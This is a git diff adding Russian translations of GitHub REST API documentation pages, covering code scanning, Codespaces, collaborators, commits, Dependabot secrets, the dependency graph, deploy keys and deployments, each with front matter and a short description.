ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 5eb971c868a1b76ef7e0d871021041bf82ada771 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147886625' +--- + diff --git a/translations/ru-RU/content/rest/checks/suites.md b/translations/ru-RU/content/rest/checks/suites.md new file mode 100644 index 000000000000..b691ba6117ee --- /dev/null +++ b/translations/ru-RU/content/rest/checks/suites.md @@ -0,0 +1,24 @@ +--- +title: Проверить пакеты +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 3202e9e108f8020986d7abe14679df45307df337 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063197' +--- +{% note %} + + **Примечание.** Приложение GitHub получает только одно событие [`check_suite`](/webhooks/event-payloads/#check_suite) для каждой фиксации SHA, даже если фиксация SHA отправляется сразу в несколько ветвей. Чтобы узнать, когда фиксация SHA отправляется в ветвь, можно подписаться на события ветви [`create`](/webhooks/event-payloads/#create). + +{% endnote %} diff --git a/translations/ru-RU/content/rest/code-scanning.md b/translations/ru-RU/content/rest/code-scanning.md new file mode 100644 index 000000000000..51fed7fe2c9b --- /dev/null +++ b/translations/ru-RU/content/rest/code-scanning.md @@ -0,0 +1,37 @@ +--- +title: Проверка кода +intro: 'API {% data variables.product.prodname_code_scanning %} позволяет получать и обновлять оповещения {% data variables.product.prodname_code_scanning %} из репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API + - Code scanning + - REST +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/code-scanning +ms.openlocfilehash: 29e04fddb96212e716f2f54b1b62e99fcff1e4da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061397' +--- +{% data reusables.code-scanning.beta %} + +## Сведения об API проверки кода + +API {% data variables.product.prodname_code_scanning %} позволяет получать и обновлять оповещения {% data variables.product.prodname_code_scanning %} из репозитория. Для создания автоматических отчетов для оповещений {% data variables.product.prodname_code_scanning %} о результатах проверки кода в организации или отправки результатов анализа, созданных с помощью автономных средств {% data variables.product.prodname_code_scanning %}, можно использовать конечные точки. Дополнительные сведения см. в разделе [Поиск уязвимостей системы безопасности и ошибок в коде](/github/finding-security-vulnerabilities-and-errors-in-your-code). + +### Пользовательский тип носителя для {% data variables.product.prodname_code_scanning %} + +Для REST API {% data variables.product.prodname_code_scanning %} поддерживается только один пользовательский тип носителя. + + application/sarif+json + +Этот тип носителя можно использовать с запросами `GET`, отправляемыми в конечную точку `/analyses/{analysis_id}`. Дополнительные сведения об этой операции см. в разделе [Получение анализа {% data variables.product.prodname_code_scanning %} для репозитория](#get-a-code-scanning-analysis-for-a-repository). При использовании этого типа мультимедиа с данной операцией ответ включает подмножество фактических данных, отправленных для указанного анализа, а не сводку анализа, возвращаемою при использовании типа мультимедиа по умолчанию. Ответ также содержит дополнительные данные, например свойства `github/alertNumber` и `github/alertUrl`. Для данных применяется формат [SARIF версии 2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html). + +Дополнительные сведения см. в разделе [Типы носителей](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/codes-of-conduct.md b/translations/ru-RU/content/rest/codes-of-conduct.md new file mode 100644 index 000000000000..b8e53cd74377 --- /dev/null +++ b/translations/ru-RU/content/rest/codes-of-conduct.md @@ -0,0 +1,23 @@ +--- +title: Кодексы поведения +intro: Для получения сведений о правилах поведения репозитория можно использовать API правил поведения. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/codes-of-conduct +ms.openlocfilehash: f852ac27bdac2a644e5f73a9b050087b2bf4d38c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061389' +--- +## Сведения об API кодексов поведения + +Для получения сведений о кодексе поведения репозитория можно использовать API кодексов поведения. Чтобы получить кодекс поведения репозитория, используйте конечную точку [Получить репозиторий](/rest/reference/repos#get-a-repository). diff --git a/translations/ru-RU/content/rest/codespaces/codespaces.md b/translations/ru-RU/content/rest/codespaces/codespaces.md new file mode 100644 index 000000000000..5a13e36d6072 --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/codespaces.md @@ -0,0 +1,19 @@ +--- +title: Codespaces +intro: API Codespaces позволяет управлять codespace с помощью REST API. +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 6023d8512b6cef9303163956b6e4eb3bf58b8772 +ms.sourcegitcommit: d697e0ea10dc076fd62ce73c28a2b59771174ce8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/20/2022 +ms.locfileid: '148097828' +--- +## Сведения об API Codespaces + +API {% data variables.product.prodname_github_codespaces %} позволяет управлять {% data variables.product.prodname_codespaces %}, используя REST API. Этот API доступен для пользователей, прошедших проверку подлинности, {% data variables.product.prodname_oauth_apps %}, и {% data variables.product.prodname_github_apps %}. Дополнительные сведения см. в разделе [{% data variables.product.prodname_codespaces %}](/codespaces). diff --git a/translations/ru-RU/content/rest/codespaces/index.md b/translations/ru-RU/content/rest/codespaces/index.md new file mode 100644 index 000000000000..555bef14db3b --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/index.md @@ -0,0 +1,26 @@ +--- +title: Codespaces +intro: 'API {% data variables.product.prodname_github_codespaces %} позволяет управлять codespace с использованием REST API.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /codespaces + - /organizations + - /organization-secrets + - /machines + - /repository-secrets + - /secrets +redirect_from: + - /rest/reference/codespaces +ms.openlocfilehash: c632b85d7e44e225a7dea2669a28a79a220f90a7 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160240' +--- + diff --git a/translations/ru-RU/content/rest/codespaces/machines.md b/translations/ru-RU/content/rest/codespaces/machines.md new file mode 100644 index 000000000000..98672f1dac5b --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/machines.md @@ -0,0 +1,23 @@ +--- +title: Компьютеры codespaces +allowTitleToDifferFromFilename: true +shortTitle: Machines +intro: 'API компьютеров Codespaces позволяет пользователю указать, какие типы компьютеров доступны для создания кодового пространства, в заданном репозитории или в качестве пользователя, прошедшего проверку подлинности.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 4ef510cd054696025d885bec854f5360cae17e96 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067981' +--- +## Сведения об API компьютеров Codespaces + +API компьютеров Codespaces позволяет пользователю указать, какие типы компьютеров доступны для создания кодового пространства, в заданном репозитории или в качестве пользователя, прошедшего проверку подлинности. Дополнительные сведения см. в разделе [Сведения о типах компьютеров](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace#about-machine-types). + +Эти сведения также можно использовать при изменении компьютера существующего кодового пространства, обновив его свойство `machine`. Обновление компьютера будет выполнено при следующем перезапуске кодового пространства. Дополнительные сведения см. в разделе [Изменение типа компьютера для кодового пространства](/codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace). diff --git a/translations/ru-RU/content/rest/codespaces/organizations.md b/translations/ru-RU/content/rest/codespaces/organizations.md new file mode 100644 index 000000000000..391cadd6e21f --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/organizations.md @@ -0,0 +1,21 @@ +--- +title: Организации Codespaces +allowTitleToDifferFromFilename: true +shortTitle: Organizations +intro: API для организаций Codespaces позволяет управлять codespace организаций-членов с помощью REST API. +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 0daf0d24f839c92d8eea6b221346b2df312071cf +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159970' +--- +## Об API организаций Codespaces + +API организаций {% data variables.product.prodname_codespaces %} позволяет управлять {% data variables.product.prodname_codespaces %}, которые оплачивает ваша организация, используя REST API. Этот API доступен для администраторов организации, прошедших проверку подлинности, и приложений OAuth, но не для приложений GitHub. Дополнительные сведения см. в разделе [{% data variables.product.prodname_codespaces %}](/codespaces). diff --git a/translations/ru-RU/content/rest/codespaces/repository-secrets.md b/translations/ru-RU/content/rest/codespaces/repository-secrets.md new file mode 100644 index 000000000000..b8dac751e1f8 --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/repository-secrets.md @@ -0,0 +1,22 @@ +--- +title: Секреты репозитория Codespaces +allowTitleToDifferFromFilename: true +shortTitle: Repository secrets +intro: 'API секретов репозитория Codespaces позволяет пользователю создавать, перечислять и удалять секреты (например, токены доступа для облачных служб) для репозиториев, к которым у пользователя есть доступ из codespace.' +permissions: 'Users with write access to a repository can manage {% data variables.product.prodname_codespaces %} repository secrets.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 95b3dfaafef598bf05f55d697716eb1036093697 +ms.sourcegitcommit: 9490533fcb7b7d5c16f8fea082a06ee66dd5db8f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148165604' +--- +## Сведения об API секретов репозитория Codespaces + +API секретов репозитория Codespaces позволяет пользователю создавать, перечислять и удалять секреты (например, токены доступа для облачных служб) для репозиториев, к которым у пользователя есть доступ. Эти секреты становятся доступными для кодового пространства в среде выполнения. Дополнительные сведения см. в разделе [Управление зашифрованными секретами для ваших кодовых пространств](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). diff --git a/translations/ru-RU/content/rest/codespaces/secrets.md b/translations/ru-RU/content/rest/codespaces/secrets.md new file mode 100644 index 000000000000..8ecb2ad3a14e --- /dev/null +++ b/translations/ru-RU/content/rest/codespaces/secrets.md @@ -0,0 +1,21 @@ +--- +title: Секреты пользователя Codespaces +allowTitleToDifferFromFilename: true +shortTitle: User secrets +intro: 'API секретов пользователя Codespaces позволяет пользователю создавать, получать и удалять секреты (например, маркеры доступа для облачных служб), а также назначать секреты репозиториям, к которым у пользователя есть доступ из codespace.' +versions: + fpt: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 28588492685865888643b5ed1956b327c9ac838c +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147067237' +--- +## Сведения об API секретов пользователя Codespaces + +API секретов пользователя Codespaces позволяет пользователю создавать, перечислять и удалять секреты (например, маркеры доступа для облачных служб), а также назначать секреты репозиториям, к которым у пользователя есть доступ. Эти секреты становятся доступными для кодового пространства в среде выполнения. Дополнительные сведения см. в разделе [Управление зашифрованными секретами для ваших кодовых пространств](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces). diff --git a/translations/ru-RU/content/rest/collaborators/collaborators.md b/translations/ru-RU/content/rest/collaborators/collaborators.md new file mode 100644 index 000000000000..adae859119a3 --- /dev/null +++ b/translations/ru-RU/content/rest/collaborators/collaborators.md @@ -0,0 +1,19 @@ +--- +title: Участники совместной работы +intro: API участников совместной работы позволяет управлять участниками совместной работы в репозитории. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 47ce2731026586709479ca8d7cf1fdc90bc0baa2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066661' +--- + diff --git a/translations/ru-RU/content/rest/collaborators/index.md b/translations/ru-RU/content/rest/collaborators/index.md new file mode 100644 index 000000000000..9c4b32169030 --- /dev/null +++ b/translations/ru-RU/content/rest/collaborators/index.md @@ -0,0 +1,25 @@ +--- +title: Участники совместной работы +intro: 'API участников совместной работы позволяет добавлять, приглашать и удалять участников совместной работы в репозитории.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /collaborators + - /invitations +redirect_from: + - /rest/reference/collaborators +ms.openlocfilehash: db14a7c07becae4c90eb7f556f51b6f222cd689e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147092953' +--- + diff --git a/translations/ru-RU/content/rest/collaborators/invitations.md b/translations/ru-RU/content/rest/collaborators/invitations.md new file mode 100644 index 000000000000..028bedd4f8f0 --- /dev/null +++ b/translations/ru-RU/content/rest/collaborators/invitations.md @@ -0,0 +1,27 @@ +--- +title: Приглашения репозитория +allowTitleToDifferFromFilename: true +shortTitle: Invitations +intro: API приглашений репозитория позволяет просматривать приглашения и управлять ими для совместной работы в репозитории. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 8096f49ce586f3f56a686b99a688a6894653d9b4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065797' +--- +## Сведения об API приглашений репозитория + +API приглашений репозитория позволяет просматривать приглашения и управлять ими для совместной работы в репозитории. Приглашенные пользователи (или внешние службы от имени приглашенных пользователей) могут принимать и отклонять приглашения. + +Чтобы добавить пользователя в качестве участника совместной работы, используйте API участников совместной работы. Дополнительные сведения см. в разделе [Добавление участника совместной работы в репозитории](/rest/collaborators/collaborators#add-a-repository-collaborator). + +Обратите внимание, что `repo:invite` [область OAuth](/developers/apps/scopes-for-oauth-apps) предоставляет целевой доступ к приглашениям **без** предоставления доступа к коду репозитория, а область `repo` — разрешение на код, а также приглашения. diff --git a/translations/ru-RU/content/rest/commits/comments.md b/translations/ru-RU/content/rest/commits/comments.md new file mode 100644 index 000000000000..1b74cc9f2ce6 --- /dev/null +++ b/translations/ru-RU/content/rest/commits/comments.md @@ -0,0 +1,33 @@ +--- +title: Комментарии фиксации +intro: 'API комментариев фиксации позволяет создавать и изменять комментарии, относящиеся к конкретным фиксациям.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: e959f04a9df15d2d9ce2765d2669cce7e8de0e5b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065349' +--- +## Сведения об API комментариев фиксации + +API комментариев фиксации позволяет создавать и изменять комментарии, относящиеся к конкретным фиксациям. + +### Пользовательские типы мультимедиа для комментариев фиксации + +Это поддерживаемые типы мультимедиа для комментариев фиксации. Дополнительные сведения об использовании типов мультимедиа в API см. [здесь](/rest/overview/media-types). + + application/vnd.github-commitcomment.raw+json + application/vnd.github-commitcomment.text+json + application/vnd.github-commitcomment.html+json + application/vnd.github-commitcomment.full+json + +Дополнительные сведения см. в статье [Пользовательские типы фиксации](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/commits/commits.md b/translations/ru-RU/content/rest/commits/commits.md new file mode 100644 index 000000000000..a1adde276226 --- /dev/null +++ b/translations/ru-RU/content/rest/commits/commits.md @@ -0,0 +1,19 @@ +--- +title: Фиксации +intro: 'API фиксаций позволяет получать список фиксаций в репозитории, просматривать и сравнивать их. Вы также можете работать с комментариями в фиксациям и состояниями фиксаций.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 6cb7f2374036f990943bf454b9cf095a1e09acfe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060653' +--- + diff --git a/translations/ru-RU/content/rest/commits/index.md b/translations/ru-RU/content/rest/commits/index.md new file mode 100644 index 000000000000..cbe83108f1b1 --- /dev/null +++ b/translations/ru-RU/content/rest/commits/index.md @@ -0,0 +1,26 @@ +--- +title: Фиксации +intro: 'API фиксаций позволяет получать список фиксаций в репозитории, просматривать и сравнивать их. Вы также можете работать с комментариями в фиксациям и состояниями фиксаций.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /commits + - /comments + - /statuses +redirect_from: + - /rest/reference/commits +ms.openlocfilehash: d92fd801baf64b2003db780d7da0532279c64d97 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060084' +--- + diff --git a/translations/ru-RU/content/rest/commits/statuses.md b/translations/ru-RU/content/rest/commits/statuses.md new file mode 100644 index 000000000000..6e00a3f18831 --- /dev/null +++ b/translations/ru-RU/content/rest/commits/statuses.md @@ -0,0 +1,30 @@ +--- +title: Состояния фиксаций +intro: 'API состояния фиксации позволяет внешним службам присваивать фиксациям определенные состояния, которые отображаются во всех запросах на вытягивание, затрагивающих эти фиксации.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 4c75b4817ecddad0e91460d7d12eddabc634d588 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882298' +--- +## Сведения об API состояний фиксации + +API состояния фиксации позволяет внешним службам помечать фиксации состоянием `error`, `failure`, `pending` или `success`, которое затем отражается в запросах на вытягивание с использованием этих фиксаций. Состояния также могут включать дополнительные параметры `description` и `target_url`, поэтому мы настоятельно рекомендуем их указывать — с ними состояния будут еще более полезными в пользовательском интерфейсе GitHub. + +Например, службы непрерывной интеграции с помощью состояний показывают передачу фиксаций или сбои сборки. Параметр `target_url` — это полный URL-адрес выходных данных сборки, а `description` — краткая сводка того, что произошло со сборкой. + +Состояния могут содержать `context`, который показывает, какая служба предоставляет это состояние. Например, ваша служба непрерывной интеграции может передавать состояния с контекстом `ci`, а средство аудита безопасности — с контекстом `security`. Чтобы узнать, как получить полное состояние фиксации, см. [Получение объединенного состояния для определенной ссылки](/rest/reference/commits#get-the-combined-status-for-a-specific-reference). + +Обратите внимание на то, что `repo:status` [область OAuth](/developers/apps/scopes-for-oauth-apps) предоставляет целевой доступ к состояниям **без** доступа к коду репозитория, а область `repo` — и к коду, и к состояниям. + +Если вы разрабатываете приложение GitHub и хотите предоставить более подробные сведения о внешней службе, используйте [API проверки](/rest/reference/checks). diff --git a/translations/ru-RU/content/rest/dependabot/index.md b/translations/ru-RU/content/rest/dependabot/index.md new file mode 100644 index 000000000000..815cdfc355e3 --- /dev/null +++ b/translations/ru-RU/content/rest/dependabot/index.md @@ -0,0 +1,18 @@ +--- +title: Dependabot +intro: 'With the {% data variables.product.prodname_dependabot %} API, you can manage {% data variables.product.prodname_dependabot %} alerts and secrets for an organization or repository.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '>=3.4' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /alerts + - /secrets +redirect_from: + - /rest/reference/dependabot +--- + diff --git a/translations/ru-RU/content/rest/dependabot/secrets.md b/translations/ru-RU/content/rest/dependabot/secrets.md new file mode 100644 index 000000000000..dfd202a687fc --- /dev/null +++ b/translations/ru-RU/content/rest/dependabot/secrets.md @@ -0,0 +1,23 @@ +--- +title: Секреты Dependabot +shortTitle: Secrets +intro: 'С помощью API секретов {% data variables.product.prodname_dependabot %} можно управлять секретами {% data variables.product.prodname_dependabot %} организации или репозитория.' +topics: + - API +versions: + fpt: '*' + ghes: '>=3.4' + ghec: '*' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 0cabee9ace44e75d8fcd2ce81aa9d7583b39e59d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882290' +--- +## Сведения об API секретов {% data variables.product.prodname_dependabot %} + +API секретов {% data variables.product.prodname_dependabot %} позволяет создавать, обновлять, удалять и извлекать сведения о зашифрованных секретах. {% data reusables.actions.about-secrets %} Дополнительные сведения см. в разделе [Управление зашифрованными секретами для Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot). + +{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} должны иметь разрешение `dependabot_secrets` на использование этого API. Пользователи, прошедшие проверку подлинности, должны иметь доступ к репозиторию для создания, обновления или чтения секретов, с возможностью совместной работы. diff --git a/translations/ru-RU/content/rest/dependency-graph/dependency-review.md b/translations/ru-RU/content/rest/dependency-graph/dependency-review.md new file mode 100644 index 000000000000..d723d6d6ba1a --- /dev/null +++ b/translations/ru-RU/content/rest/dependency-graph/dependency-review.md @@ -0,0 +1,22 @@ +--- +title: Проверка зависимостей +intro: 'API проверки зависимостей позволяет разобраться в изменениях в зависимостях и в том, как эти изменения влияют на безопасность, прежде чем добавить их в среду.' +versions: + fpt: '*' + ghes: '>=3.6' + ghec: '*' + ghae: '>= 3.6' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 9988c87ed4b0dcbe9c8a0694ebe0ca43d5bc336e +ms.sourcegitcommit: 1529de77bfcbe45519131b5f5fb3ab319758c2d2 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/14/2022 +ms.locfileid: '148164229' +--- +## Сведения об API проверки зависимостей + +API проверки зависимостей позволяет разобраться в изменениях в зависимостях и в том, как эти изменения влияют на безопасность, прежде чем добавить их в среду. Вы можете просматривать различия в зависимостях между двумя фиксациями репозитория, включая данные об уязвимостях в любых обновлениях версий с известными уязвимостями. Дополнительные сведения о проверке зависимостей см. в разделе [Сведения о проверке зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review). diff --git a/translations/ru-RU/content/rest/dependency-graph/dependency-submission.md b/translations/ru-RU/content/rest/dependency-graph/dependency-submission.md new file mode 100644 index 000000000000..6fb5ccd61c41 --- /dev/null +++ b/translations/ru-RU/content/rest/dependency-graph/dependency-submission.md @@ -0,0 +1,22 @@ +--- +title: Отправка зависимостей +intro: 'API отправки зависимостей можно использовать для отправки зависимостей для проектов, например зависимостей, разрешенных при сборке или компиляции проекта.' +versions: + feature: dependency-submission-api +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 72ffb8376c33972ab02c0a5fb48504b92fef3cec +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080738' +--- +## Сведения об API отправки зависимостей + +{% data reusables.dependency-submission.dependency-submission-api-beta %} + +{% data reusables.dependency-submission.about-dependency-submission %} + +Зависимости отправляются в API отправки зависимостей в виде моментального снимка. Моментальный снимок — это набор зависимостей, связанных с SHA фиксации и другими метаданными, которые отражают текущее состояние репозитория для фиксации. Вы можете применить предварительно подготовленные действия или создать собственные, чтобы отправлять зависимости в требуемом формате в API отправки зависимостей при каждой компиляции проекта. Дополнительные сведения см. в статье [Использование API отправки зависимостей](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api). + +Вы можете отправить в API отправки зависимостей несколько наборов зависимостей, которые нужно включить в граф зависимостей. Этот API использует свойство `job.correlator` и категорию `detector.name` моментального снимка, чтобы всегда отображать последние отправки для каждого рабочего процесса. Само свойство `correlator` является основным полем, которое будет использоваться для различения независимых отправок. Например, в качестве `correlator` можно использовать простое сочетание двух переменных, доступных в выполнениях действий: ` `. diff --git a/translations/ru-RU/content/rest/dependency-graph/index.md b/translations/ru-RU/content/rest/dependency-graph/index.md new file mode 100644 index 000000000000..c1135ee44a83 --- /dev/null +++ b/translations/ru-RU/content/rest/dependency-graph/index.md @@ -0,0 +1,24 @@ +--- +title: Граф зависимостей +intro: С помощью API графа зависимостей вы можете просматривать изменения зависимостей и их влияние на безопасность репозитория. +versions: + fpt: '*' + ghes: '>=3.6' + ghec: '*' + ghae: '>= 3.6' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /dependency-review + - /dependency-submission +redirect_from: + - /rest/reference/dependency-graph +ms.openlocfilehash: b9eda1bcdbc1bae4603277f529e5342036c504df +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147065590' +--- + diff --git a/translations/ru-RU/content/rest/deploy-keys.md b/translations/ru-RU/content/rest/deploy-keys.md new file mode 100644 index 000000000000..ad1e16135ba9 --- /dev/null +++ b/translations/ru-RU/content/rest/deploy-keys.md @@ -0,0 +1,26 @@ +--- +title: Ключи развертывания +intro: API развертывания ключей позволяет создавать ключи развертывания и управлять ими. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +redirect_from: + - /rest/reference/deploy_keys +ms.openlocfilehash: c6acc6d9a09207700c77e43dd8fec522db372bdd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060078' +--- +## Сведения об API развертывания ключей + +{% data reusables.repositories.deploy-keys %} + +Ключи развертывания можно настраивать, используя либо указанные ниже конечные точки API, либо GitHub. Сведения о настройке ключей развертывания в GitHub см. в разделе [Управление ключами развертывания](/developers/overview/managing-deploy-keys). diff --git a/translations/ru-RU/content/rest/deployments/branch-policies.md b/translations/ru-RU/content/rest/deployments/branch-policies.md new file mode 100644 index 000000000000..542597211c2a --- /dev/null +++ b/translations/ru-RU/content/rest/deployments/branch-policies.md @@ -0,0 +1,25 @@ +--- +title: Политики ветвей развертывания +allowTitleToDifferFromFilename: true +shortTitle: Deployment branch policies +intro: API политик ветвей развертывания позволяет управлять настраиваемыми политиками ветвей развертывания. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 109bf81019d62e4c654ba6da4fa71f8fd359ceb4 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109592' +--- +## Сведения об API политик ветвей развертывания + +API политик развертывания позволяет указывать пользовательские шаблоны имен, которые должны соответствовать ветвям для развертывания в среде. Необходимо задать свойство `true` для среды, чтобы разрешить `deployment_branch_policy.custom_branch_policies` использовать эти конечные точки. Сведения об обновлении `deployment_branch_policy` для среды см. в разделе [Создание или обновление среды](/rest/deployments/environments#create-or-update-an-environment). + +Дополнительные сведения об ограничении развертываний среды для определенных ветвей см. в разделе [Использование сред для развертывания](/actions/deployment/targeting-different-environments/using-environments-for-deployment#deployment-branches). diff --git a/translations/ru-RU/content/rest/deployments/deployments.md b/translations/ru-RU/content/rest/deployments/deployments.md new file mode 100644 index 000000000000..0cd2b4285932 --- /dev/null +++ b/translations/ru-RU/content/rest/deployments/deployments.md @@ -0,0 +1,62 @@ +--- +title: Deployments +intro: The Deployments API allows you to create and delete deployments and deployment environments. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +## About the deployments API + +Deployments are requests to deploy a specific ref (branch, SHA, tag). GitHub dispatches a [`deployment` event](/developers/webhooks-and-events/webhook-events-and-payloads#deployment) that external services can listen for and act on when new deployments are created. Deployments enable developers and organizations to build loosely coupled tooling around deployments, without having to worry about the implementation details of delivering different types of applications (e.g., web, native). + +Deployment statuses allow external services to mark deployments with an `error`, `failure`, `pending`, `in_progress`, `queued`, or `success` state that systems listening to [`deployment_status` events](/developers/webhooks-and-events/webhook-events-and-payloads#deployment_status) can consume. + +Deployment statuses can also include 